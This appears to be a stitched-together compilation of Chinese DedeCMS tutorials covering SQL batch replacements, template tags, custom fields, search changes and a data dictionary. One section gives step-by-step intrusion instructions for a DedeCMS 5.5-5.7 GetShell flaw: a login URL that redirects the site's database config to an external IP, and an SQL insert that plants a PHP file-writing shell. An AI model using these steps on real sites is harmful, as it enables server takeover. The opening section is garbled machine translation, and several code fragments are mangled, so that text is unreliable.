INSERT INTO `dede_search_keywords` VALUES(
dede的sql用法(SQLusageofdede)
dede的sql用法(SQL usage of dede)1. Function Description: add custom attributesStatement details:Insert into `dede_arcatt` (sortid, ATT, attname) values (9,'d',' comment ');Alter table `dede_archives` modify `flag` set('c','H','p','f','s','j','a','b','d') default NULL;2. Function Description: batch for author and source assignmentStatement details:UPDATE dede_archives SET writer='to assign the value of' WHERE writer=''';UPDATE dede_archives SET source='to assign the value of' WHERE source=''';3. Function Description: delete the specified IP commentsStatement details:DELETE FROM `dede_feedback` WHERE `dede_feedback`.`ip`='000.000.000.000'000.000.000.000 is IP for spam publisher4. Function Description: empty the key field in the articleStatement details:Update dede_archives set keywords=''5. Function Description: batch replacement release time, storage time, update timeStatement details:First step. Add an article in the background.Get a time, such as 2009-01-13 14:13:32, which can be seen through the management article.The second step, the background execution SQL statement SELECT * FROM dede_archives order by ID DESC limit 1So you can see all of the field values you just added to the new Gaga article.Observe the following data:Pubdate:1231846313Senddate:1231846313Sortrank:12318463131231846313 of them are time data.And then it's replaced.UPDATE dede_archives SET sortrank = 1231846313;UPDATE dede_archives SET senddate = 1231846313;UPDATE dede_archives SET PubDate = 1231846313;6. Function Description: batch modify column for dynamic or staticStatement details:UPDATE `dede_arctype` SET `isdefault` ='-1'dynamicsUPDATE `dede_arctype` SET `isdefault` ='1'staticFunction Description: batch replacement of SQL statement in article contentStatement details:Update `dede_addonarticle` set body=REPLACE (body, 'Forum', 'community') where body like '% forum%"The above SQL statement function is to find all the articles with "forum" phrase, and replace the forum as "community""The SQL statement of the data calling type has the following:1. label Description: common content statistics codeStatement details:There are articles in this article{dede:sql sql= "select count as C from (*) dede_archives where channel=1} - Total article: [field:c /] {/dede:sql}Atlas: * *{dede:sql sql= "select count as C from (*) dede_archives where channel=2", a total of} Atlas: [field:c /] {/dede:sql}Common software: * *{dede:sql sql= "select count as C from (*) dede_archives where channel=3} - there are basically a {/dede:sql} software: [field:cShared comments: * *{dede:sql sql= "select count as C from dede_feedback (*) - Total"} review: [field:c /] {/dede:sql}General membership: * *{dede:sql sql= "select count (MID) as C from dede_member" - a total membership: [field:c} /] {/dede:sql}Article reading: * * trips{dede:sql sql= "select sum (click) as C from dede_archives"} reading: [field:c /] people {/dede:sql}Update today: * *{迪迪:SQL语句“select count(*)为C dede_archives哪里出版日期> unix_timestamp(CURDATE())“}今日更新:[领域:C / ]篇{ /迪迪:SQL }总共留言:{迪迪:SQL语句“select count(*)为CCdede_guestbook”} [领域:CC / ] { }条/迪迪:SQL2。
DEDECMS(织梦程序)5.5-5.7通杀GetShell漏洞
DEDECMS(织梦程序)5.5-5.7通杀GetShell漏洞入侵步骤如下:/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd =inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POS T[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r 0t0&_POST[GLOBALS][cfg_dbname]=root把上面validate后面的字母改为当前的验证码,即可直接进入网站后台。
小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。
下面给出官方的解决办法:解决办法:找到include/common.inc.php文件,把foreach($_REQUEST as $_k=>$_v){var_dump($_k);if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ): {exit('Request var not allow!');}}换成//检查和注册外部提交的变量function CheckRequest(&$val) {if (is_array($val)) {foreach ($val as $_k=>$_v) {CheckRequest($_k);CheckRequest($val[$_k]);}} else{if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) ){exit('Request var not allow!');}}}CheckRequest($_REQUEST);网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell前题条件,必须准备好自己的dede数据库,然后插入数据:insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');再用下面表单提交,shell 就在同目录下1.php。
织梦系统(dede)标签使用及问题解决方法总结
织梦cms(dede)标签使用及问题解决方法总结longyamiao 以前使用过织梦cms(dede)进行网站建设,最近又一次做网站,在制作过程中遇到一些问题,现将标签使用解决方法总结一下。
一、dede 我的文档及收藏方面处理方法——longyamiao问题一:我的文档里有已通过、待审核、未通过三种情况。
而在点击时不是以滑动门的方式显示,而是重新加载网页。
无法达到更改已通过、待审核、未通过三处样式的目的。
问题二:当点击我的文档打开网页时,网页显示的是我所有文档,当点击已通过时,网页显示的是我的已通过审核的文档,当点击下一页查看时发现未通过的文章显示出来了。
解决:(一)点击时每次重新加载,解决方法是,一个模板复制三次,分别命名。
在模板里改变点击已通过待审核未通过的地址。
PHP 和HTM 模板分别是Default/member/myupload.phpDefault/member/templets/myupload.htm 更改PHP里打开模板的链接更改HTM模板里打开PHP的链接。
(二)在myupload.php里用$arcrank表示已通过待审核未通过分别值为1 -1 -2。
点击下一页出现故障的原因是,在分页时,分页链接查询数据库没有加入arcrank参数的限制条件。
分页样式及代码在Default/include/datalistcp.class.php中分布链接地址为$purl .= "?".$geturl; 在这里如果直接添加arcrank 变成$purl .= "?arcrank=1&".$geturl; 在已通过页面里能看到是正常的,但由于是常量,不能变化,在待审核和未通过里则显示错误,同时在我的收藏里也显示错误。
所以没有考虑像第一步那样复制成多份模板,而是想办法传递参数。
可我看代码myupload.php 没有给datalistcp.class.php传递参数。
dede(织梦)SQL批量替换数据库内容,标题,关键词
dede(织梦)SQL批量替换数据库内容,标题,关键词【内容替换】进入后台内容维护数据库内容替换选择数据表与字段:举例:如果是文章模型的话就是 dede_addonarticle表中的body字段然后填写被替换内容和替换为,输入验证码,确定即可。
SQL语句: update `dede_addonarticle` set 字段名称=replace(字段名称,’你要替换的’,'你现在的’);进入后台内容维护数据库内容替换选择数据表与字段:举例:如果是文章模型的话就是 dede_addonarticle表中的body字段然后填写被替换内容和替换为,输入验证码,确定即可。
SQL语句:update `dede_addonarticle` set body=replace(body,’你要替换的’,'你现在的’);——————————————————————————————————————如何批量替换dedecms织梦系统的文章标题、TAG、关键词、正文内容里面的内容呢?方法如下:1、进入后台,点左侧的采集,点选批量维护的数据库内容替换或者后台,上部的必须辅助功能,批量维护的数据库内容替换。
2、如果你需要替换标题内的某些内容,选择dede_archives数据表,选择title字段,以本站香精香料词典被替换内容:食用香精,替换为:食品用香精,填入安全确认码,最后点开始替换数据,提示替换成功,这样文章的标题内容批量的替换很方便!update `dede_archives` set title=replace(title,’你要替换的’,'你现在的’);3、替换文章文章摘要内某关键词,选择dede_archives数据表,选择description字段,被替换内容:品名,替换为:中文名,填入安全确认码,最后点开始替换数据,提示替换成功。
这样操作很简单!update `dede_archives` set description=replace(description,’你要替换的’,'你现在的’);4、替换文章正文内某关键词,选择dede_addonarticle数据表,选择body字段,被替换内容:品名,替换为:中文名,填入安全确认码,最后点开始替换数据,提示替换成功。
织梦设置栏目列表排序方式
织梦设置栏⽬列表排序⽅式标签dede:arclist的排序是通过orderby来指定的,如下:{dede:arclist orderby=’排序字段’ }{/dede:arclist}orderby=’sortrank’ ⽂档排序⽅式§ orderby=’hot’ 或 orderby=’click’ 表⽰按点击数排列§ orderby=’sortrank’ 或 orderby=’pubdate’ 按出版时间排列§ orderby=’near’§ orderby==’lastpost’ 按最后评论时间§ orderby==’scores’ 按得分排序§ orderby=’id’ 按⽂章ID排序§ orderby=’rand’ 随机获得指定条件的⽂档列表⽽能给orderby赋值的只能是上⾯列出的值,也就是说dede:arclist 标签只能按照上⾯列出的字段排序。
那怎样才能按照⾃定义的字段排序呢?假如现在在dede_archives表⾥⾯添加了⼀个字段orderid,如果想按照这个字段排序。
直接这样写:{dede:arclist orderby=’orderid’ }是不⾏的。
那应该怎样修改?⼀、数据库操作:⽤MYSQL的管理⼯具或者其他,修改dede_archives表结构,添加⼀列orderid字段⼆、修改后台⽂件1、打开dede/article_add.php //修改代码⽂件把187-191⾏,修改为以下代码:$query = ”INSERT INTO `dede_archives`(id,typeid,typeid2,sortrank,flag,ismake,channel,arcrank,click,money,title,shorttitle,color,writer,source,litpic,pubdate,senddate,mid,notpost,description,keywords,filename,dutyadmin,orderid)VALUES (‘$arcID’,'$typeid’,'$typeid2′,’$sortrank’,'$flag’,'$ismake’,'$channelid’,'$arcrank’,'$click’,'$money’,‘$title’,'$shorttitle’,'$color’,'$writer’,'$source’,'$litpic’,'$pubdate’,'$senddate’,‘$adminid’,'$notpost’,'$description’,'$keywords’,'$filename’,'$adminid’,'$orderid’);”;2、打开dede/article_edit.php //修改代码⽂件在191⾏的dutyadmin=’$adminid’之后加逗号,回车换⾏加⼊下⾯代码:orderid=’$orderid’ copyright 3、打开dede/templets/article_add.htm //修改模板⽂件4、打开dede/include/arc.listview.class.php找到600⾏把if(ereg('hot|click|lastpost',$orderby))改为if(ereg('hot|click|lastpost|orderid',$orderby)) 织梦模板找到134⾏,回车增加⼀⾏,加⼊以下代码:<table width=”800″ border=”0″ cellspacing=”0″ cellpadding=”0″><tr> <td width=”90″ style=”color:#F00″> 排序权重:</td><td colspan=”3″><input type=’text’ name=’orderid’ value=’0′ style=’width:100px;’ />(请填写数字,越⼤越靠前)</td></tr></table>4、打开dede/templets/article_edit.html //修改模板⽂件到131⾏,回车增加⼀⾏,加⼊以下代码:<table width=”800″ border=”0″ cellspacing=”0″ cellpadding=”0″><tr><td width=”90″ style=”color:#F00″> 排序权重:</td><td colspan=”3″><input type=’text’ name=’orderid’ value=’<?php echo $arcRow["orderid"]?>’ style=’width:100px;’ />(请填写数字,越⼤越靠前)</td><td></td></tr></table>PS:第3、4步骤是照顾不太会HTML语⾔的新⼿们的,如果你是⽼⼿可以⾃⼰决定添加位置。
dedecms按照自定义字段搜索教程
dedecms按照自定义字段搜索教程之前看到很多人想要自定义字段搜索功能,官方又不给出,而我自己也正需要自定义字段搜索,于是就花了半天时间研究了下DEDE的搜索代码,终于研究出来了,现在分享给大家好了,废话不多说了,具体操作如下一:打开你的数据库,找到dede_full_search这个表,在里面把你自定义的字段添加进表,这里以我的网站为例,我添加了myskill,myexchange,mygoods,myexgoods,这4个字段二:打开/member/article_add_action.php,找到"//更新全站搜索索引",在下面的一段代码中插入刚才添加的4个字段,例:“'myskill'=>$myskill,'myexchange'=>$myexchange,'mygoods'=>$mygoods,'myexgoods'=>$myex goods”,这里说明一下,前面的'myskill'为你发布文章时添加的自定义字段,后面的为刚才在表dede_full_search中添加的字段(建议在表中添加字段的时候写成跟你之前字定义的字段一样)这里最好写成一样,可以省去很多麻烦三:打开/include/inc_arcsearch_view.php,搜索titlekeyword,找到如下代码Copy codeif($this->SearchType != "titlekeyword"){$kwsqlarr[] = " ying_full_search.title like '%$k%' ";}else{$kwsqlarr[] = " ying_full_search.title like '%$k%' ";$kwsqlarr[] = " ying_full_search.addinfos like '%$k%' ";$kwsqlarr[] = " ying_full_search.keywords like '%$k%' ";}分析下代码SearchType != "titlekeyword,搜索类型为titilekeyword,即前台搜索下拉框中的智能模糊搜索,$kwsqlarr[] = " ying_full_search.title like '%$k%' ";为搜索full_search表中的title字段,好了,知道了这段代码的作用,我们就知道该如何添加自己的搜索了下面把我的代码作为例子Copy codeif($this->SearchType != "skill"){$kwsqlarr[] = " ying_full_search.myskill like '%$k%' ";$kwsqlarr[] = " ying_full_search.myexchange like '%$k%' ";}else{$kwsqlarr[] = " ying_full_search.myexchange like '%$k%' ";$kwsqlarr[] = " ying_full_search.myskill like '%$k%' ";}if($this->SearchType != "goods"){$kwsqlarr[] = " ying_full_search.mygoods like '%$k%' ";$kwsqlarr[] = " ying_full_search.myexchange like '%$k%' ";}else{$kwsqlarr[] = " ying_full_search.myexchange like '%$k%' ";$kwsqlarr[] = " ying_full_search.mygoods like '%$k%' ";},因为我的myskill和myexchange2个字段是一起的,而mygoods和myexgoods是一起的,所以我用了2个if else语句四:修改搜索框代码,代码在哪我就不说了吧,大家都知道在哪,搜索框原代码为Copy code<select name="searchtype" id="searchtype"><option value="titlekeyword" selected>智能模糊搜索</option><option value="title">仅搜索标题</option></select>这里只需修改上面的代码,修改后的代码为Copy code<select name="searchtype" id="searchtype"><option value="skill" selected>搜技能</option><option value="goods">搜物品</option></select>value="",这填的是第三步中添加的SearchType后面的,即搜索类型,这个你自己定义五:还是打开/include/inc_arcsearch_view.php,找到//处理一些特殊字段,把你之前的自定义的字段添加进去,这里还是以我的为例子在先面添加Copy code$row["myskill"] = $this->GetRedKeyWord(cn_substr($row["myskill"],$infolen));$row["myexchange"] = $this->GetRedKeyWord(cn_substr($row["myexchange"],$infolen)); $row["mygoods"] = $this->GetRedKeyWord(cn_substr($row["mygoods"],$infolen));$row["myexgoods"] = $this->GetRedKeyWord(cn_substr($row["myexgoods"],$infolen));其实只要添加$row["myskill"] = $row["myskill"];(另外3个我就不写了,类似)就够了,但是我为什么要这样写呢,这样写的作用就是让你在搜索结果页调用的时候显示关键子为红色六:最后一步了,打开templets/default/search.htm,这里就是搜索页调用的模版,这里要调用只要[field:你自定义的字段/],还是以我的网站为例[field:myskill/],这样调用就OK,但是要注意一点,假如你2个字段放一起调用中间最好加个空格或者其他符号,假如[field:myskill/][field:mygoods/]这样连在一起是显示不出来的好了,写的这么详细,相信大家应该看的懂吧,虽然有点复杂,不过有总比没有好,呵呵。
Dedecms修改TAG、title、keywords及栏目名称长度限制
Dedecms修改T AG、title、keywords及栏目名称长度限制会有些朋友用织梦DEDECMS时,在TAG、TITLE、KEYWORDS等一些字段的时候会有所限制。
DEDECMS默认是限制30字节(15个汉字)左右,我们可以进入PHPMY ADMIN 数据库后台和后台文章发表文档进行修改这些字段。
根据此方法也可以修改作者writer或来源source等一些字段长度一、DEDECMS tag长度修改1.修改数据库进入数据库修改表dede_tagindex和dede_taglist的tag字段分别修改为2552.源文件修改在include/archives.func.php和include/archives.func.php中查找:if(isset($tag[12])都修改为:if(isset($tag[255])二、DEDECMS title长度修改1.修改数据表dede_archives中的title字段后台系统基本参数-其他选项中-“文档标题最大长度”改为255。
(最好先改下系统基本参数-其他选项-文档标题最大长度)三、DEDECMS keywords关键词长度修改1.进入数据库修改表dede_archives、dede_infos和dede_keywords的keyword字段分别修改为2552.源文件修改找到如下文件/dede/article_add.php/dede/article_edit.php/dede/archives_add.php/dede/archives_edit.php 查找$keywords = cn_substrR($keywords,30);$keywords = trim(cn_substrR($keywords,30));将里面的数值改为2553./dede/inc/inc_archives_functions.php找到if(strlen($keywords.$k)>=将后面的数值改为255四、栏目名称长度修改修改数据表dede_arctype中的typename和typedir字段改为255。
Dedecms栏目自定义字段的方法
Dedecms栏目自定义字段的方法鉴于这个教程没人发过,网上搜索的人也比较多。
所以就做了个。
比如我要添加:栏目图片,和栏目关键字等。
随便你吧。
好。
我们现在开始做。
第一我们要进去mysql 数据库里添加字段,自己命名好!比如我下面添加了一个栏目搜索关键字字段,当然你字段可以自己新建,找到表dede_arctype ,这个是栏目模型的数据库表,前面是你安装的表名,新手要注意,不要问我,我找不到这个表,注意。
这里老鸟跳过然后点击图片1在点击添加字段图片2添加字段图片3到这里数据库字段添加好了。
接下来我们开始做后台。
大家写找到后台栏目管理模版!要更改的 2个 D:\www\dede\templets 模版:catalog_add.htm、catalog_edit.htm下面就演示一个图片4然后添加字段表单,这个一般大家都会的我添加的代码是:<tr><td height="65">栏目搜索关键字:</td><td> <textarea name="lanmukeywrod" cols="70" rows="4"id="lanmukeywrod" class="alltxt" ><?php echo$myrow['lanmukeywrod']?></textarea></td></tr>这里大家注意了。
表单的name 和id 要和添加的 mysql表字段一样,不应的话。
还要多写个取值代码。
一样的话。
默认dedecms会自动取的,然后我们做最后一部,把数据添加进去。
大家找到: D:\www\dede\catalog_edit.php 目录可能和大家不一样也就是后台里面的 catalog_edit.php,catalog_add.php catalog_edit.php要改的地方有: 38行$upquery = "Update `dede_arctype` setissend='$issend',sortrank='$sortrank',typename='$typename',typedir='$typedir',isdefault='$isdefault',defaultname='$defaultname',issend='$issend',ishidden='$ishidden',channeltype='$channeltype',tempindex='$tempindex',templist='$templist',temparticle='$temparticle',namerule='$namerule',namerule2='$namerule2',ispart='$ispart',corank='$corank',description='$description',keywords='$keywords',moresite='$moresite',`cross`='$cross',`content`='$content',`crossid`='$crossid',`smalltypes`='$smalltypes'$uptopsqlwhere id='$id' ";sql语句里面添加我们刚才的字段进去。
dedecms(织梦后台)SQL批量替换命令(有图)
dedecms(织梦后台)SQL批量替换命令(有图)1,替换文章,新闻内容的代码,包括链接,文字或是图片、附件等地址替换文章内容(可整篇文章,可文章里的某个关键词)update `dede_addonarticle` set body=replace(body,'要替换的内容','替换后显示的内容');2.更改缩略图目录SQL命令:update dede_archives set litpic=replace(litpic,'原来的字符','替换后的字符')例如:update dede_archives set litpic=replace(litpic,'uplimg,'tupian')3.批量替换文章模型中内容部分图片链接路径.update dede_addonarticle setbody=replace(body,'src="/img/','src="/images/');例如:把图片路径由原来的/img/替换成/images/4.批量替换文章模型中内容部分超链接.update dede_addonarticle setbody=replace(body,'href="','href="');例如:把文章模型中的超链接由原来的替换成5.批量替换文章模型中内容部分图片锚文本文字.update dede_addonarticle setbody=replace(body,'alt="/','alt="/');例如:把文章模型中的图片锚文本信息由原来的替换成6.批量替换软件模型内容部分超链接update dede_addonsoft setintroduce=replace(introduce,'href="/images/js/ys.html','hr ef="http:/');例如:把软件模型内容中超链接由原来的/images/js/ys.html替换成7.批量替换文章模型中作者字段update dede_archives setwriter=replace(writer,'','');例如:把文章模型中的作者由原来的替换成8.批量替换文章模型中来源字段update dede_archives set source=replace(source,'心情驿站','DEDE技术吧 ');例如:把文章模型中的帖子来源由原来的心情驿站 替换成DEDE技术吧 9.批量替换文章命名规则update `dede_arctype` set namerule='{typedir}/{aid}.html';例如:把站内所有文章模型命名规则全部替换成{typedir}/{aid}.html这样一种形式10批量替换软件模型演示地址超链接update dede_addonsoft setwriter=replace(officialUrl,'http:/','');例如:把软件模型原始地址超链接由原来的http:/替换成替换文章标题里的文字update `dede_archives` set title=replace(title,'要替换的内容','替换后显示的内容');替换文章作者update `dede_archives` set writer=replace(writer,'原来的编辑人名','替换后显示编辑人名');替换文章来源update `dede_archives` set source =replace(source,'原来的文章来源','替换后显示文章来源');替换文章摘要内的某个词update `dede_archives` set description =replace(description,'原来的文章摘要','替换后显示文章摘要');替换文章的关键词,update `dede_archives` set keywords=replace(keywords,'原来的关键词','替换后显示的关键词');替换文章TAG标签update `dede_taglist` set tag=replace(tag,'原来的TAG标签','替换后显示的TAG标签');2,关键词链接替换,update `dede_keywords` set rpurl=replace(rpurl,'原来的域名','现在使用的新域名');3,复制网站的朋友可能用得到a,替换网站栏目title标签里的内容:update `dede_arctype` setseotitle=replace(seotitle,'不想要的内容','替换后显示的内容');b,替换栏目description标签里的内容:update `dede_arctype` set description=replace(description,'不想要的内容','替换后显示的内容');c,栏目关键词keywords标签里的内容 :update `dede_arctype` set keywords=replace(keywords,'不想要的内容','替换后显示的内容');简化一下语句吧,上面所有的语都是同一个语句update `数据表名` set 字段名=replace(字段名,'不想要的内容','替换后显示的内容');示例,如图:。
解决{dede-arclist keyword='动态获取关键词'}
最近在做一个站,想做一个功能,就是有一个div块里显示的是与当前文章关键词相同的文章的标题。
开始的时候是这样写的{dede:arclist keyword='{dede:field name='keyword'}'}结果肯定是不可以的。
在网上找也没找到。
于是就自己读代码,自己写了个简单处理的。
在arclist.lib.php 第149行代码如下://关键字条件if($keyword!='')把{}中间的内容改成{$rowGetKeyword = $dsql->GetOne("select keywords From `dede_archives` where id='$arcid'");$keyword=$rowGetKeyword['keywords'];$keyword = str_replace(',', '|', $keyword);$orwheres[] = " CONCAT(arc.title,arc.keywords) REGEXP '$keyword' ";}这样直接调用{dede:arclist keyword='这里随便写只要是不为空就可以'} 这样这里的keyword就是动态获取的了。
不然只能是固定的。
就在刚刚我发帖之前看到dede5.6里有个标签{dede:likeart titlelen='' row=''}{/dede:likeart}这个标签还没测试,不过应该就是这个功能。
如果不是,大家就一用我上面的方法。
测试过了,可以用。
DEDECMS相关文章以关键字相关的修改方法DEDE的相关文章完全不相关,有朋友在DEDE官方放出根据TAG显示相关文章,也是很不错,可惜我在根据那边文章改DEDE代码后老是不行,可能是能力有限,当然也有可能是代码有问题现在终于出了解决办法:1 在inc_functions.php 最后?>前加上代码如下://查询指定栏目里包含相应关键字的文章,并列出//参数说明:$showImg 是否显示缩略图,0表示不显示,1表示显示// $titleLen 标题长度,0表示无限// $rowCount 输出行数,0表示无限// $typeid 栏目ID,0表示所有栏目// $keyWord 关键字,字符串function ShowKeyWordArc($showImg,$titleLen,$rowCount,$typeid,$keyWord){$dsql = new DedeSql(false);$sql = TypeGetSunID($typeid,$dsql); </p> <p>//关键字分词技术$ks = explode(" ",$keyWord);foreach($ks as $k){$k = trim($k);if ($k!="") {$kwsqlarr[] = " (xkzzz_archives.title like '%$k%')";//$kwsqlarr[] = " (xkzzz_archives.keywords like '%$k%') "; //如果需要相关到其它文章的关键字,解除此行注释}}$where = implode(' OR ',$kwsqlarr); </p> <p>$sql="Select rule,tp.typedir,xkzzz_full_search.aid,xkzzz_full_search.url,xkzzz_archives.* From xkzzz_full_search left join xkzzz_archives on xkzzz_full_search.aid=xkzzz_archives.ID left join xkzzz_arctype tp on xkzzz_archives.typeid=tp.ID where {$sql} and ((xkzzz_archives.title like '%".$keyWord."%') or $where) order by xkzzz_full_search.aid desc";$dsql->SetQuery($sql);$dsql->Execute();$ss="";$i=0;while($row=$dsql->GetObject()){$url=GetFileUrl($row->ID,$row->typeid,$row->senddate,$row->title,$row->isma ke,$row->arcrank,$row->namerule,$row->typedir,$row->money);if ($showImg==0){$ss=$ss."<LI><a href='".$url."' target=_blank>";if ($titleLen!=0) $ss=$_substr($row->title,$titleLen);else $ss=$ss.$row->title;$ss=$ss."</A></LI>";}else{$ss=$ss."<LI><span class='sjdqimggl'><a href='".$url."' target=_blank>"; </p> <p>if ($row->litpic!="") $ss=$ss."<img src='".$row->litpic."' alt='".$row->title."' />";else $ss=$ss."<img src='/images/titl.gif'/>";$ss=$ss."</a></span><span class='sjdqtxttl'><a href='".$url."' target=_blank>";if ($titleLen!=0) $ss=$_substr($row->title,$titleLen);else $ss=$ss.$row->title;$ss=$ss."</A></span></LI>";}$i++;if (($rowCount!=0)&&($i>=$rowCount)) return $ss;}return $ss;}2 放在文章模板页内{dede:field name=’keywords’function=’ShowKeyWordArc(0,32,10,0,”@me”)’/} 就表示是取所有栏目内的相关文章(与当前文章的关键字相关),标题长度最大32,最多显示10条,不显示缩略图或{dede:field name=’keywords’function=’ShowKeyWordArc(0,32,10,0,”高三语文”)’/}可以找到标题里,含有“高三语文”,或者含有“高三”或“语文”的文章例如,这一段:相关文章{dede:likeart titlelen=’24′row=’10′}[field:textlink/]< >{/dede:likeart}就改成:相关文章{dede:field name=’keywords’function=’ShowKeyWordArc(0,32,10,0,”@me”)’/} 申明:这个函数不是我写的根据关键字来相关文章,就用户体验以及SEO来说都是非常好的但是唯一不好的地方就是生成静态的时候会慢很多,哈哈,服务器又要辛苦了。
DEDECMS添加软件时关键字自动从TAG获取
DEDECMS添加软件时关键字自动从TAG获取最近在帮朋友做一个游戏软件站,在添加测试文章的时候发现一个问题:软件频道不能像文章频道那样关键字自动从TAG中获取,而是直接从标题中分解出一些毫无意义的关键字,这也导致在调用“相关文章”时文章不相关的现象,经过对比文章频道添加模板,我找到了修改方法:在网站根目录下找到文件 dede/templets/soft_add.htm (dede为DEDECMS 默认后台管理目录,如有修改请找到相应的文件夹),打开后找到:<input name="tags" type="text" id="tags" value=""style="width:300px" />替换为:<input name="tags" type="text" id="tags" value=""style="width:300px" onChange="$Obj('keywords').value=this.value;" />再找到:<input type='text' name="keywords" id="keywords" style="width:290px;" value="" />替换为:<input type='text' name="keywords" id="keywords" style="width:290px;" value="<?php echo $keywords; ?>" />如此一来,在软件频道发布内容时关键字会自动与TAG相匹配,你也可以根据需要手动修改关键字。
dedecms织梦采集功能的使用方法(二) 我是程序员
dedecms织梦采集功能的使用方法(二)我是程序员Dedecms采集功能的使用方法—不含分页的普通文章(二)2.1新增采集节点:第二步设置内容字段获取规则单击“保存信息并进入下一步设置”后,便可进入“新增采集节点:第二步设置内容字段获取规则”页面,如(图22)所示,图22-设置内容字段获取规则在预览网址处,系统将会自动指定一篇将被采集文章内容页面的网址(一般为所采集列表页面的第一篇文章网址),作为示范页面。
如果文章内容页面含有分页,则需设置“内容分页导航所在的区域匹配规则”。
对于“固定采集项目”中的“内容摘要、关键字和缩略图“三个部分,系统会用正则进行自动匹配,这里仅需配置过滤内容即可。
下面主要介绍如何获取“文章标题、文章作者、文章来源、发布时间和文章内容”的采集规则,过滤规则仅简单涉及。
2.1.1 获取文章标题的采集规则首先,打开“预览网址“的页面并单击右键,选择”查看源代码“,找到文章标题”在Dreamweaver中为插入的Flash 添加透明“,如(图23)所示,图23-在源代码中的文章标题这里的文章标题处在”<h1></h1>”之间,由于在此页面中多次出现这组标签,因此这里应该填写“<div class=”arcbody”><h1>[内容]</h1>”作为文章标题的匹配规则。
如果在文章标题中含有相关链接等,可使用过滤规则加以处理,这里无需设置。
填写后,如图24所示,图24-文章标题的采集规则2.1.2 获取文章作者的采集规则如上图23所示,在“作者:”二字后面有一组标签“<font color=”red”></font>”,以此猜测,作者名将会写在这组标签之间。
同样,为了保持唯一性,这里应填写”作者:<font color=“red”>[内容]</font>“作为文章作者的采集规则。
织梦CMS数据字典(完整版)
redirecturl vocation infotype
跳转地址
varchar(255) NOT NULL char(20) NOT NULL default '0' char(20) NOT NULL default '0' 索引: PRIMARY KEY (`aid`), KEY `typeid` (`typeid`)
表名:dede_addonsoft (ENGINE=MyISAM/CHARSET=gbk) 字段名 aid typeid filetype language softtype accredit os softrank officialUrl officialDemo softsize softlinks introduce daccess needmoney templet userip redirecturl 说明描述 内容 ID 栏目 ID 文件类型 语言 软件类别 授权方式 操作系统 文章排序 官方网址 演示网址 软件大小 软件地址 详细介绍 下载级别 需要金币 自定义模板 用户 IP 跳转地址 索引: PRIMARY KEY (`aid`), KEY `softMain` (`typeid`) 表名:dede_addonspec (ENGINE=MyISAM/CHARSET=gbk) 字段名 aid typeid note templet 说明描述 内容 ID 栏目 ID 专题记录字段 自定义模板
top字段名说明描述具体参数id内容idmediumint8unsignednotnulldefault0typeid栏目idsmallint5unsignednotnulldefault0typeid2副栏目idvarchar90notnulldefault0sortrank文档排序int10unsignednotnulldefault0flag属性setchpfsjabdefaultnullismake是否生成htmlsmallint6notnulldefault0channel频道模型smallint6notnulldefault1arcrank浏览权限smallint6notnulldefault0click点击次数mediumint8unsignednotnulldefault0money需要消耗金币smallint6notnulldefault0title文档标题char60notnulldefaultshorttitle短标题char36notnulldefaultcolor标题颜色char7notnulldefaultwriter作者char20notnulldefaultsource来源char30notnulldefaultlitpic缩略图char100notnulldefaultpubdate发布日期int10unsignednotnulldefault0senddate投稿日期int10unsignednotnulldefault0mid会员idmediumint8unsignednotnulldefault0keywords文档关键词char30notnulldefaultlastpost最后回复int10unsignednotnulldefault0scores消耗积分mediumint8notnulldefault0goodpost好评mediumint8unsignednotnulldefault0badpost差评mediumint8unsignednotnulldefault0notpost不允许回复tinyint1unsignednotnulldefault0description描述varchar255notnulldefaultfilename自定义文件名varchar40notnulldefaultdutyadmin负责审核管理员的idmediumint8unsign
dedecms常用sql语句汇总
dedecms常用sql语句汇总本文将一些dedecms常用的SQL语句做了整理归纳,希望对大家有所帮助.在DedeCMS系统中,我们有很多地方都需要用到SQL语句,例如批量修改(替换)内容、数据内容调用等,在系统模板中有一个专门用于调用数据的模板标签{dede:sql/}我们可以参考帮助中心的模板标签说明学习下这个标签如何使用。
当然我们在使用SQL语句和学习SQL语句的之前需要对织梦的数据库结构有一个大致的了解,我们可以通过帮助中心的数据库说明,来简单的了解这些内容。
sql功能说明:用于从模板中用一个SQL查询获得其返回内容适用范围:全局使用基本语法:{dede:sql sql=""}底层模板{/dede:sql}参数说明:sql="" 完整的SQL查询语句底层模板字段:SQL语句中查出的所有字段都可以用[field:字段名/]来调用应用实例:1.调用某个特定会员发布的文章内容{dede:sql sql='Select * from dede_archives where mid=1'}[field:title/]{/dede:sql}mid为用户ID可以参考二次开发中关于dede_archives的数据表字段介绍我们将SQL语句分为两类,功能型的和内容调用型,功能型的主要是对数据库进行常规的操作,例如{insert、update},数据调用型的操作就(select),两种类型的SQL语句使用发放也很简单,如果是功能型的只需要在系统后台[系统]-[SQL命令运行工具]中进行使用,如果是模板标签的数据调用类型,只需要在模板相应位置添加标签即可。
功能型例子:清空所有注册会员内容DELETE FROM `dede_member` WHERE `dede_member`.`mid` != 1;TRUNCATE TABLE `dede_member_flink`;TRUNCATE TABLE `dede_member_person`;TRUNCATE TABLE `dede_member_space`;TRUNCATE TABLE `dede_member_tj`;数据调用型例子:所有发布的文章总数目{dede:sql sql='select count(*) as cc from dede_archives'}[field:cc/]{/dede:sql}DEDECMS功能型SQL语句整理:1.添加自定义属性insert into `dede_arcatt`(sortid,att,attname) values(9,'d','评论');alter table `dede_archives` modify `flag` set ('c','h','p','f','s','j','a','b','d') default NULL;2.批量为作者和来源赋值UPDATE dede_archives SET writer='要赋的值' WHERE writer='';UPDATE dede_archives SET source='要赋的值' WHEREsource='';3.删除指定IP的评论DELETE FROM `dede_feedback` WHERE `dede_feedback`.`ip` = '000.000.000.000'000.000.000.000 为垃圾评论发布者的IP4.清空文章中关键字字段update dede_archives set keywords=''5.批量替换发布时间,入库时间,更新时间第一步。
INSERT INTO `dede_search_keywords` VALUES(
